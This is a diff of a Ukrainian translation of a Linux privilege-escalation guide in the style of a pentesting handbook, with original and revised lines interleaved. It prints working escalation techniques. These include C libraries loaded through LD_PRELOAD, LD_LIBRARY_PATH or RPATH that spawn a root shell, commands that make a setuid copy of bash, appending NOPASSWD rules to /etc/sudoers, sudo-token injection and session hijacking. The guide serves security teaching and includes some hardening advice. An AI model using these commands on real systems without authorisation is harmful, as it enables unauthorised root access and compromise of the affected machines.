можете спробувати brute-force користувача, використовуючи [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) з параметром `-a` також намагається brute-force користувачів. -## Зловживання writable PATH +## Зловживання записуваними елементами $PATH ### $PATH -Якщо ви виявите, що можете **записувати у якусь папку з $PATH**, ви можете підвищити привілеї, **створивши backdoor у записуваній папці** з ім'ям якоїсь команди, яка буде виконана іншим користувачем (бажано root), і яка **не завантажується з папки, що розташована раніше** за вашу записувану папку в $PATH. +Якщо ви виявите, що можете **записувати всередину якоїсь папки з $PATH**, ви можете підвищити привілеї, **створивши backdoor у записуваній папці** з назвою якоїсь команди, яка буде виконана іншим користувачем (ідеально — root) і яка **не завантажується з папки, що розташована перед** вашою записуваною папкою в $PATH. ### SUDO and SUID -Вам може бути дозволено виконувати деяку команду через sudo або вона може мати suid bit. Перевірте це за допомогою: +Вам може бути дозволено виконувати певну команду через sudo або вона може мати suid біт. Перевірте це за допомогою: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries @@ -746,35 +746,35 @@ less>! ``` ### NOPASSWD -Конфігурація sudo може дозволити користувачеві виконати певну команду з привілеями іншого користувача без знання пароля. +Конфігурація sudo може дозволяти користувачу виконувати певні команди з привілеями іншого користувача без знання пароля. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -У цьому прикладі користувач `demo` може запускати `vim` як `root`; тепер отримати shell тривіально — додавши ssh key у директорію root або викликавши `sh`. +У цьому прикладі користувач `demo` може запускати `vim` як `root`, і тепер тривіально отримати shell, додавши ssh key у директорію `root` або викликавши `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Ця директива дозволяє користувачу **встановити змінну середовища** під час виконання чогось: +Ця директива дозволяє користувачеві **set an environment variable** під час виконання чого-небудь: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Цей приклад, **на основі HTB machine Admirer**, був **вразливий** до **PYTHONPATH hijacking**, що дозволяв завантажити довільну python бібліотеку під час виконання скрипта як root: +Цей приклад, **на основі HTB machine Admirer**, був **vulnerable** до **PYTHONPATH hijacking**, що дозволяло завантажити довільну python бібліотеку під час виконання скрипта як root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` ### BASH_ENV preserved via sudo env_keep → root shell -Якщо sudoers зберігає `BASH_ENV` (наприклад, `Defaults env_keep+="ENV BASH_ENV"`), ви можете використати неінтерактивну поведінку запуску Bash для виконання довільного коду від імені root при виклику дозволеної команди. +Якщо sudoers зберігає `BASH_ENV` (наприклад, `Defaults env_keep+="ENV BASH_ENV"`), ви можете використати неінтерактивну поведінку запуску Bash, щоб виконати довільний код від імені root при виклику дозволеної команди. -- Why it works: Для неінтерактивних оболонок Bash оцінює `$BASH_ENV` і sources цей файл перед виконанням цільового скрипта. Багато правил sudo дозволяють запускати скрипт або оболонковий wrapper. Якщо `BASH_ENV` збережено sudo, ваш файл підключається з правами root. +- Why it works: Для неінтерактивних shell Bash оцінює `$BASH_ENV` і підключає (sources) цей файл перед виконанням цільового скрипта. Багато sudo правил дозволяють запускати скрипт або обгортку shell. Якщо `BASH_ENV` зберігається sudo, ваш файл буде підключений з привілеями root. -- Вимоги: +- Requirements: - Правило sudo, яке ви можете виконати (будь-яка ціль, що викликає `/bin/bash` неінтерактивно, або будь-який bash-скрипт). - `BASH_ENV` присутній у `env_keep` (перевірте за допомогою `sudo -l`). @@ -788,14 +788,14 @@ chmod +x /dev/shm/shell.sh BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash # You should now have a root shell ``` -- Hardening: +- Зміцнення: - Видаліть `BASH_ENV` (та `ENV`) з `env_keep`, віддавайте перевагу `env_reset`. -- Уникайте shell wrappers для sudo-allowed команд; використовуйте мінімальні бінарні файли. -- Розгляньте логування та оповіщення sudo I/O при використанні preserved env vars. +- Уникайте shell wrappers для команд, дозволених через sudo; використовуйте мінімальні бінарні файли. +- Розгляньте логування вводу/виводу sudo та оповіщення, коли використовуються збережені змінні оточення. -### Sudo execution bypassing paths +### Sudo — шляхи обходу виконання -**Перейдіть** читати інші файли або використовуйте **symlinks**. Наприклад, у файлі sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** щоб читати інші файли або використовувати **symlinks**. Наприклад, у файлі sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -814,37 +814,37 @@ sudo less /var/log/something /etc/shadow #Red 2 files ### Sudo command/SUID binary без вказаного шляху до команди -Якщо **sudo permission** надано для однієї команди **без зазначення шляху**: _hacker10 ALL= (root) less_ — ви можете використати це, змінивши змінну PATH +Якщо користувачу надано **sudo permission** для однієї команди **без вказівки шляху**: _hacker10 ALL= (root) less_ , ви можете це експлуатувати, змінивши змінну PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Цю техніку також можна використовувати, якщо **suid** бінарний файл **виконує іншу команду без вказання шляху до неї (завжди перевіряйте через** _**strings**_ **вміст дивного SUID бінарного файлу)**). +Цю техніку також можна використати, якщо **suid** бінарний файл **виконує іншу команду без вказування шляху до неї (завжди перевіряйте за допомогою** _**strings**_ **вміст дивного SUID бінарного файлу)**). [Payload examples to execute.](payloads-to-execute.md) -### SUID бінарний файл з шляхом до команди +### SUID бінарний файл із вказаним шляхом до команди -Якщо **suid** бінарний файл **виконує іншу команду з вказанням шляху**, тоді ви можете спробувати **export a function** з іменем тієї команди, яку викликає suid файл. +Якщо **suid** бінарний файл **виконує іншу команду, вказуючи шлях**, тоді ви можете спробувати **export a function** з іменем тієї команди, яку викликає suid файл. -Наприклад, якщо suid бінарний файл викликає _**/usr/sbin/service apache2 start**_ потрібно спробувати створити функцію і export її: +Наприклад, якщо suid бінарний файл викликає _**/usr/sbin/service apache2 start**_, вам потрібно спробувати створити функцію та export її: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Тоді, коли ви викликаєте suid бінарний файл, ця функція буде виконана +Тоді, коли ви викликаєте suid binary, ця функція буде виконана ### LD_PRELOAD & **LD_LIBRARY_PATH** -Змінна оточення **LD_PRELOAD** використовується для вказання однієї або кількох спільних бібліотек (.so файлів), які завантажуються завантажувачем перед усіма іншими, включно зі стандартною C-бібліотекою (`libc.so`). Цей процес відомий як попереднє завантаження бібліотеки. +Змінна середовища **LD_PRELOAD** використовується для вказівки однієї або кількох shared libraries (.so files), які мають бути завантажені loader'ом перед усіма іншими, включно зі стандартною C-бібліотекою (`libc.so`). Цей процес відомий як попереднє завантаження бібліотеки. -Однак, щоб підтримувати безпеку системи і запобігти використанню цієї можливості, особливо з **suid/sgid** виконуваними файлами, система накладає певні обмеження: +Однак, щоб підтримувати безпеку системи та запобігти зловживанню цією функцією, особливо щодо **suid/sgid** виконуваних файлів, система накладає певні обмеження: -- Завантажувач ігнорує **LD_PRELOAD** для виконуваних файлів, де реальний ідентифікатор користувача (ruid) не збігається з ефективним ідентифікатором користувача (euid). -- Для виконуваних файлів з suid/sgid наперед підвантажуються лише бібліотеки в стандартних шляхах, які також є suid/sgid. +- Завантажувач ігнорує **LD_PRELOAD** для виконуваних файлів, у яких real user ID (_ruid_) не збігається з effective user ID (_euid_). +- Для виконуваних файлів з **suid/sgid** попередньо завантажуються лише бібліотеки зі стандартних шляхів, які також мають **suid/sgid**. -Підвищення привілеїв може статися, якщо ви маєте можливість виконувати команди з sudo і вивід `sudo -l` містить директиву **env_keep+=LD_PRELOAD**. Така конфігурація дозволяє змінній оточення **LD_PRELOAD** зберігатися та розпізнаватися навіть при запуску команд через sudo, що потенційно може призвести до виконання довільного коду з підвищеними привілеями. +Privilege escalation може виникнути, якщо ви маєте можливість виконувати команди з `sudo` і вивід `sudo -l` містить рядок **env_keep+=LD_PRELOAD**. Ця конфігурація дозволяє змінній середовища **LD_PRELOAD** зберігатися і визнаватися навіть при виконанні команд через `sudo`, що потенційно може призвести до виконання довільного коду з підвищеними привілеями. ``` Defaults env_keep += LD_PRELOAD ``` @@ -861,17 +861,17 @@ setuid(0); system("/bin/bash"); } ``` -Потім **скомпілюйте це** використовуючи: +Потім **скомпілюйте його** використовуючи: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Нарешті, **escalate privileges** під час виконання +Нарешті, запустивши **escalate privileges** ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Схожий privesc може бути зловживаний, якщо зловмисник контролює **LD_LIBRARY_PATH** env variable, оскільки він контролює шлях, за яким будуть шукатися бібліотеки. +> Схожий privesc може бути зловживаний, якщо зловмисник контролює env variable **LD_LIBRARY_PATH**, оскільки він контролює шлях, за яким будуть шукатися бібліотеки. ```c #include #include @@ -893,13 +893,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Коли ви натрапите на бінарний файл з **SUID** правами, який виглядає підозріло, гарною практикою є перевірити, чи він правильно завантажує **.so** файли. Це можна перевірити, виконавши наступну команду: +Коли ви натрапляєте на бінарний файл з **SUID**-дозволами, що виглядає незвично, рекомендується перевірити, чи він правильно завантажує **.so** файли. Це можна зробити, виконавши таку команду: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Наприклад, зіткнення з помилкою на кшталт _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ вказує на потенційну можливість експлуатації. +Наприклад, якщо з'являється помилка на кшталт _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_, це може свідчити про потенційну можливість експлуатації. -Щоб це експлуатувати, слід створити C-файл, наприклад _"/path/to/.config/libcalc.c"_, який міститиме наступний код: +Щоб експлуатувати це, слід створити C-файл, наприклад _"/path/to/.config/libcalc.c"_, що містить наступний код: ```c #include #include @@ -910,13 +910,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Цей код, після компіляції та виконання, має на меті підвищити привілеї шляхом маніпуляції правами файлів і виконання shell з підвищеними привілеями. +Цей код, після компіляції та виконання, має на меті підвищити привілеї шляхом маніпулювання правами доступу до файлів та виконання shell з підвищеними привілеями. -Скомпілюйте вищевказаний C-файл у shared object (.so) файл за допомогою: +Скомпілюйте вищенаведений C-файл у shared object (.so) файл за допомогою: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Нарешті, запуск ураженого SUID binary має спровокувати exploit, що може призвести до компрометації системи. +Нарешті, запуск ураженого SUID binary має спровокувати exploit, що дозволить потенційну компрометацію системи. ## Shared Object Hijacking ```bash @@ -928,7 +928,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Тепер, коли ми знайшли SUID binary, який завантажує library з папки, у яку ми можемо писати, створімо library у цій папці з необхідною назвою: +Тепер, коли ми знайшли SUID бінарний файл, який завантажує бібліотеку з папки, у яку ми можемо записувати, давайте створимо бібліотеку в тій папці з необхідним іменем: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -941,17 +941,17 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -Якщо ви отримаєте помилку, таку як +Якщо ви отримуєте помилку, таку як ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -це означає, що згенерована вами бібліотека має містити функцію з назвою `a_function_name`. +це означає, що бібліотека, яку ви згенерували, повинна містити функцію з іменем `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) є курованим списком Unix binaries, які можуть бути експлуатовані нападником для обходу локальних обмежень безпеки. [**GTFOArgs**](https://gtfoargs.github.io/) те саме, але для випадків, коли ви можете **вставляти тільки аргументи** в команду. +[**GTFOBins**](https://gtfobins.github.io) — це кураторський список Unix-бінарників, які можуть бути використані зловмисником для обходу локальних обмежень безпеки. [**GTFOArgs**](https://gtfoargs.github.io/) — те саме, але для випадків, коли ви можете **лише вставити аргументи** в команду. -Проєкт збирає легітимні функції Unix binaries, які можна зловживати для виходу з restricted shells, ескалації або підтримання підвищених привілеїв, передачі файлів, запуску bind та reverse shells, а також спрощення інших post-exploitation tasks. +Проєкт збирає легітимні функції Unix-бінарів, якими можна зловживати, щоб виходити з обмежених shells, escalate або підтримувати elevated privileges, передавати файли, породжувати bind and reverse shells та сприяти іншим post-exploitation завданням. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -970,20 +970,20 @@ https://gtfoargs.github.io/ ### FallOfSudo -Якщо ви можете виконати `sudo -l`, ви можете використати інструмент [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) щоб перевірити, чи він знаходить, як експлуатувати будь-яке правило sudo. +Якщо ви можете виконати `sudo -l`, ви можете використати інструмент [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) щоб перевірити, чи він знаходить спосіб експлуатувати будь-яке правило sudo. ### Reusing Sudo Tokens -У випадках, коли у вас є **sudo access**, але немає пароля, ви можете підвищити привілеї, **чекаючи виконання sudo команди і перехопивши токен сесії**. +У випадках, коли у вас є **sudo access**, але немає пароля, ви можете підвищити привілеї, **чекаючи виконання команди sudo і потім перехопивши session token**. -Requirements to escalate privileges: +Вимоги для ескалації привілеїв: -- Ви вже маєте shell як користувач "_sampleuser_" -- "_sampleuser_" **використовував `sudo`** для виконання чогось в **останніх 15mins** (за замовчуванням це тривалість sudo token, що дозволяє використовувати `sudo` без введення пароля) -- `cat /proc/sys/kernel/yama/ptrace_scope` має бути 0 +- Ви вже маєте shell під користувачем "_sampleuser_" +- "_sampleuser_" вже **використовував `sudo`** для виконання чогось протягом **останніх 15mins** (за замовчуванням це тривалість sudo token-а, що дозволяє використовувати `sudo` без введення пароля) +- `cat /proc/sys/kernel/yama/ptrace_scope` має значення 0 - `gdb` доступний (ви можете завантажити його) -(Ви можете тимчасово ввімкнути `ptrace_scope` за допомогою `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` або постійно змінити `/etc/sysctl.d/10-ptrace.conf`, встановивши `kernel.yama.ptrace_scope = 0`) +(Ви можете тимчасово ввімкнути `ptrace_scope` командою `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` або назавжди, змінивши `/etc/sysctl.d/10-ptrace.conf` і встановивши `kernel.yama.ptrace_scope = 0`) If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) @@ -993,37 +993,37 @@ bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- Другий **exploit** (`exploit_v2.sh`) створить sh shell у _/tmp_ **належитиме root і матиме setuid** +- **другий exploit** (`exploit_v2.sh`) створить sh shell у _/tmp_, **який належить root і має setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- **третій exploit** (`exploit_v3.sh`) створить **sudoers file**, який зробить **sudo tokens** вічними і дозволить всім користувачам використовувати **sudo** +- **третій exploit** (`exploit_v3.sh`) **створить sudoers file**, який зробить **sudo tokens вічними і дозволить усім користувачам використовувати sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Якщо у вас є **права на запис** у цю папку або в будь-який з файлів, створених у ній, ви можете використати бінарний файл [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) щоб **створити sudo-токен для користувача та PID**.\ -Наприклад, якщо ви можете перезаписати файл _/var/run/sudo/ts/sampleuser_ і маєте shell від імені цього користувача з PID 1234, ви можете **отримати права sudo** без необхідності знати пароль, виконавши: +Якщо у вас є **write permissions** у папці або на будь-якому зі створених у ній файлів, ви можете скористатися бінарником [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) щоб **створити sudo token для user та PID**.\ +Наприклад, якщо ви можете перезаписати файл _/var/run/sudo/ts/sampleuser_ і у вас є shell від імені того user з PID 1234, ви можете **obtain sudo privileges** без необхідності знати password, виконавши: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Файл `/etc/sudoers` та файли в каталозі `/etc/sudoers.d` налаштовують, хто може використовувати `sudo` і як. Ці файли **за замовчуванням можуть читати лише користувач root і група root**.\ -**Якщо** ви можете **прочитати** цей файл, ви зможете **отримати деяку цікаву інформацію**, а якщо ви можете **записати** будь-який файл — ви зможете **escalate privileges**. +Файл `/etc/sudoers` та файли всередині `/etc/sudoers.d` налаштовують, хто може використовувати `sudo` і як. Ці файли **за замовчуванням можуть читатися лише user root та group root**.\ +**Якщо** ви можете **прочитати** цей файл, ви зможете **отримати деяку цікаву інформацію**, а якщо ви можете **записати** будь-який файл, ви зможете **отримати підвищені привілеї**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Якщо у вас є дозвіл на запис, ви можете ним зловживати. +Якщо ви можете записувати, ви можете зловживати цим дозволом ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -Інший спосіб зловживати цими дозволами: +Ще один спосіб зловживання цими дозволами: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -1032,17 +1032,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Існують деякі альтернативи бінарному файлу `sudo`, такі як `doas` для OpenBSD, не забувайте перевіряти його конфігурацію в `/etc/doas.conf` +Існують альтернативи бінарному файлу `sudo`, наприклад `doas` для OpenBSD — не забудьте перевірити його конфігурацію в `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Якщо ви знаєте, що **користувач зазвичай підключається до машини і використовує `sudo`** для підвищення привілеїв, і ви отримали shell у цьому контексті користувача, ви можете **створити новий sudo виконуваний файл**, який виконуватиме ваш код від root, а потім команду користувача. Після цього **змініть $PATH** у контексті користувача (наприклад додавши новий шлях у .bash_profile), щоб коли користувач виконає sudo, запускався ваш sudo виконуваний файл. +Якщо ви знаєте, що **користувач зазвичай підключається до машини і використовує `sudo`** для ескалації привілеїв і ви отримали shell у контексті цього користувача, ви можете **створити новий виконуваний файл sudo**, який виконає ваш код від імені root, а потім команду користувача. Потім **змініть $PATH** у контексті користувача (наприклад, додавши новий шлях у .bash_profile), щоб коли користувач виконає sudo, запускався ваш sudo-виконуваний файл. -Note that if the user uses a different shell (not bash) you will need to modify other files to add the new path. For example[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. You can find another example in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Зверніть увагу, що якщо користувач використовує інший shell (не bash), доведеться змінити інші файли, щоб додати новий шлях. Наприклад [sudo-piggyback](https://github.com/APTy/sudo-piggyback) модифікує `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Інший приклад можна знайти в [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -Or running something like: +Або запустити щось на кшталт: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Копіюючи lib у `/var/tmp/flag15/`, вона буде використана програмою в цьому місці, як зазначено в змінній `RPATH`. +Скопіювавши lib у `/var/tmp/flag15/`, програма використовуватиме його в цьому місці, як вказано в змінній `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1093,7 +1093,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -Потім створіть зловмисну бібліотеку у `/var/tmp` за допомогою `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +Потім створіть зловмисну бібліотеку в `/var/tmp` за допомогою `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1106,10 +1106,10 @@ setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` -## Capabilities +## Можливості -Linux capabilities надають процесу **підмножину доступних root привілеїв**. Це фактично розбиває root **привілеї на менші й відмінні одиниці**. Кожну з цих одиниць можна незалежно призначати процесам. Таким чином повний набір привілеїв зменшується, знижуючи ризики експлуатації.\ -Прочитайте наступну сторінку, щоб **дізнатися більше про capabilities та як їх зловживати**: +Linux capabilities надають процесу **підмножину доступних привілеїв root**. Це фактично розбиває привілеї root на **менші й відмінні одиниці**. Кожну з цих одиниць можна незалежно надавати процесам. Таким чином повний набір привілеїв зменшується, що знижує ризики експлуатації.\ +Read the following page to **learn more about capabilities and how to abuse them**: {{#ref}} @@ -1118,14 +1118,14 @@ linux-capabilities.md ## Directory permissions -У директорії **біт для "execute"** означає, що відповідний користувач може "**cd**" у папку.\ -Біт **"read"** означає, що користувач може **list** **files**, а біт **"write"** означає, що користувач може **delete** та **create** нові **files**. +У директорії біт **"execute"** означає, що відповідний користувач може **"cd"** у цю папку.\ +Біт **"read"** означає, що користувач може **переглядати список** **файлів**, а біт **"write"** означає, що користувач може **видаляти** та **створювати** нові **файли**. ## ACLs -Access Control Lists (ACLs) представляють вторинний шар дискреційних дозволів, здатний **перекривати традиційні ugo/rwx дозволи**. Ці дозволи розширюють контроль доступу до файлу або директорії, дозволяючи або забороняючи права конкретним користувачам, які не є власниками або не входять до групи. Такий рівень **деталізації забезпечує більш точне керування доступом**. Детальніше можна знайти [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) представляють другий шар дискреційних дозволів, здатний **перекривати традиційні дозволи ugo/rwx**. Ці дозволи покращують контроль доступу до файлу чи директорії, дозволяючи або забороняючи права конкретним користувачам, які не є власниками або членами групи. Такий рівень **деталізації забезпечує більш точне керування доступом**. Докладніше див. [**тут**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Дати** користувачу "kali" read та write permissions over a file: +**Надати** користувачеві "kali" права читання та запису для файлу: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) @@ -1136,14 +1136,14 @@ setfacl -b file.txt #Remove the ACL of the file ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Відкриті shell-сесії +## Відкриті shell сесії -В **старих версіях** ви можете **hijack** деяку **shell** сесію іншого користувача (**root**).\ -У **новіших версіях** ви зможете **connect** лише до screen sessions вашого **your own user**. Проте ви можете знайти **цікаву інформацію всередині сесії**. +У **старих версіях** ви можете **hijack** деяку **shell** сесію іншого користувача (**root**).\ +У **найновіших версіях** ви зможете **connect** тільки до screen сесій **свого користувача**. Однак, ви можете знайти **цікаву інформацію всередині сесії**. ### screen sessions hijacking -**Перелік screen sessions** +**Перелік screen сесій** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1158,9 +1158,9 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -Це була проблема з **старими версіями tmux**. Я не зміг перехопити сесію tmux (v2.1), створену root, будучи непривілейованим користувачем. +Це була проблема зі **старими версіями tmux**. Мені не вдалося перехопити сеанс tmux (v2.1), створений root, будучи непривілейованим користувачем. -**Перелік сесій tmux** +**Перелік сеансів tmux** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1184,47 +1184,47 @@ tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Всі SSL та SSH ключі, згенеровані в системах на базі Debian (Ubuntu, Kubuntu, тощо) між вереснем 2006 і 13 травня 2008 року можуть бути вразливі до цієї помилки.\ -Ця помилка виникає при створенні нового ssh ключа в тих ОС, оскільки **було можливих лише 32,768 варіантів**. Це означає, що всі можливості можна перерахувати і **маючи публічний ssh-ключ, ви можете знайти відповідний приватний ключ**. Ви можете знайти розраховані варіанти тут: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Усі SSL та SSH ключі, згенеровані на системах на базі Debian (Ubuntu, Kubuntu, etc) між September 2006 та May 13th, 2008 можуть бути уражені цією вразливістю.\ +Ця помилка виникає при створенні нового ssh ключа в цих ОС, оскільки **було можливих лише 32,768 варіацій**. Це означає, що всі можливості можна перерахувати і, **маючи публічний ssh ключ, ви можете знайти відповідний приватний ключ**. Ви можете знайти обчислені можливості тут: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values -- **PasswordAuthentication:** Визначає, чи дозволена автентифікація паролем. За замовчуванням `no`. -- **PubkeyAuthentication:** Визначає, чи дозволена автентифікація за публічним ключем. За замовчуванням `yes`. -- **PermitEmptyPasswords**: Коли автентифікація паролем дозволена, визначає, чи дозволяє сервер вхід в акаунти з порожнім паролем. За замовчуванням `no`. +- **PasswordAuthentication:** Вказує, чи дозволена автентифікація за паролем. За замовчуванням — `no`. +- **PubkeyAuthentication:** Вказує, чи дозволена автентифікація за публічним ключем. За замовчуванням — `yes`. +- **PermitEmptyPasswords**: Якщо автентифікація за паролем дозволена, вказує, чи дозволяє сервер вхід у облікові записи з порожнім паролем. За замовчуванням — `no`. ### PermitRootLogin -Визначає, чи може root увійти через ssh, за замовчуванням `no`. Можливі значення: +Вказує, чи може root виконувати вхід через ssh, за замовчуванням — `no`. Можливі значення: -- `yes`: root може входити за допомогою пароля і приватного ключа -- `without-password` або `prohibit-password`: root може входити тільки за допомогою приватного ключа -- `forced-commands-only`: root може входити лише за допомогою приватного ключа і якщо вказані опції команд +- `yes`: root може увійти, використовуючи пароль та приватний ключ +- `without-password` or `prohibit-password`: root може входити лише з приватним ключем +- `forced-commands-only`: root може увійти лише з приватним ключем і якщо вказані параметри команд - `no`: заборонено ### AuthorizedKeysFile -Визначає файли, що містять публічні ключі, які можуть використовуватися для автентифікації користувача. Він може містити токени, такі як `%h`, які будуть замінені на домашній каталог. **Ви можете вказувати абсолютні шляхи** (що починаються з `/`) або **шляхи відносно домашнього каталогу користувача**. Наприклад: +Вказує файли, що містять публічні ключі, які можуть бути використані для автентифікації користувача. Він може містити токени, такі як `%h`, які будуть замінені на домашній каталог. **Ви можете вказувати абсолютні шляхи** (що починаються з `/`) або **шляхи відносно домашнього каталогу користувача**. Наприклад: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Ця конфігурація вкаже, що якщо ви спробуєте увійти з використанням **private** key користувача "**testusername**", ssh порівняє public key вашого ключа з тими, що знаходяться в `/home/testusername/.ssh/authorized_keys` і `/home/testusername/access` +Ця конфігурація вкаже, що якщо ви спробуєте увійти за допомогою **private** ключа користувача «**testusername**», ssh порівняє публічний ключ з ключами, що знаходяться в `/home/testusername/.ssh/authorized_keys` та `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding дозволяє вам **use your local SSH keys instead of leaving keys** (без passphrases!) на вашому сервері. Тож ви зможете **jump** via ssh **to a host** і звідти **jump to another** host **using** the **key** розташований на вашому **initial host**. +SSH agent forwarding дозволяє вам **use your local SSH keys instead of leaving keys** (without passphrases!) на сервері. Таким чином ви зможете **jump** via ssh **to a host** і звідти **jump to another** host **using** the **key** located in your **initial host**. -Потрібно встановити цю опцію в `$HOME/.ssh.config` таким чином: +Потрібно встановити цю опцію в `$HOME/.ssh.config` так: ``` Host example.com ForwardAgent yes ``` -Зверніть увагу, що якщо `Host` є `*`, то щоразу, коли користувач підключається до іншої машини, та машина зможе отримати доступ до ключів (це проблема безпеки). +Зверніть увагу, що якщо `Host` є `*`, то щоразу, коли користувач підключається до іншої машини, цей хост зможе отримати доступ до ключів (що є проблемою безпеки). -Файл `/etc/ssh_config` може **перезаписати** ці **опції** і дозволити або заборонити цю конфігурацію.\ +Файл `/etc/ssh_config` може **перевизначати** ці **опції** та дозволяти або забороняти цю конфігурацію.\ Файл `/etc/sshd_config` може **дозволяти** або **забороняти** ssh-agent forwarding за допомогою ключового слова `AllowAgentForwarding` (за замовчуванням — дозволено). -Якщо ви виявите, що Forward Agent налаштовано в середовищі, прочитайте наступну сторінку, оскільки **ви можете зловживати ним для ескалації привілеїв**: +Якщо ви виявите, що Forward Agent налаштовано в середовищі, прочитайте наступну сторінку, оскільки **ви можете скористатися цим, щоб підвищити привілеї**: {{#ref}} @@ -1235,80 +1235,69 @@ ssh-forward-agent-exploitation.md ### Файли профілів -Файл `/etc/profile` та файли в каталозі `/etc/profile.d/` — це **скрипти, які виконуються під час запуску користувачем нового shell**. Тому, якщо ви можете **записати в будь-який із них або змінити його, ви можете ескалювати привілеї**. +Файл `/etc/profile` та файли в каталозі `/etc/profile.d/` — це **скрипти, що виконуються при запуску користувачем нового shell**. Тому, якщо ви можете **записувати або змінювати будь-який із них, ви можете підвищити права**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Якщо знайдено якийсь дивний профільний скрипт, варто перевірити його на наявність **чутливих даних**. +Якщо знайдено підозрілий профільний скрипт, перевірте його на наявність **чутливих даних**. -### Passwd/Shadow файли +### Passwd/Shadow Files -Залежно від ОС файли `/etc/passwd` та `/etc/shadow` можуть мати іншу назву або існувати як резервна копія. Тому рекомендується 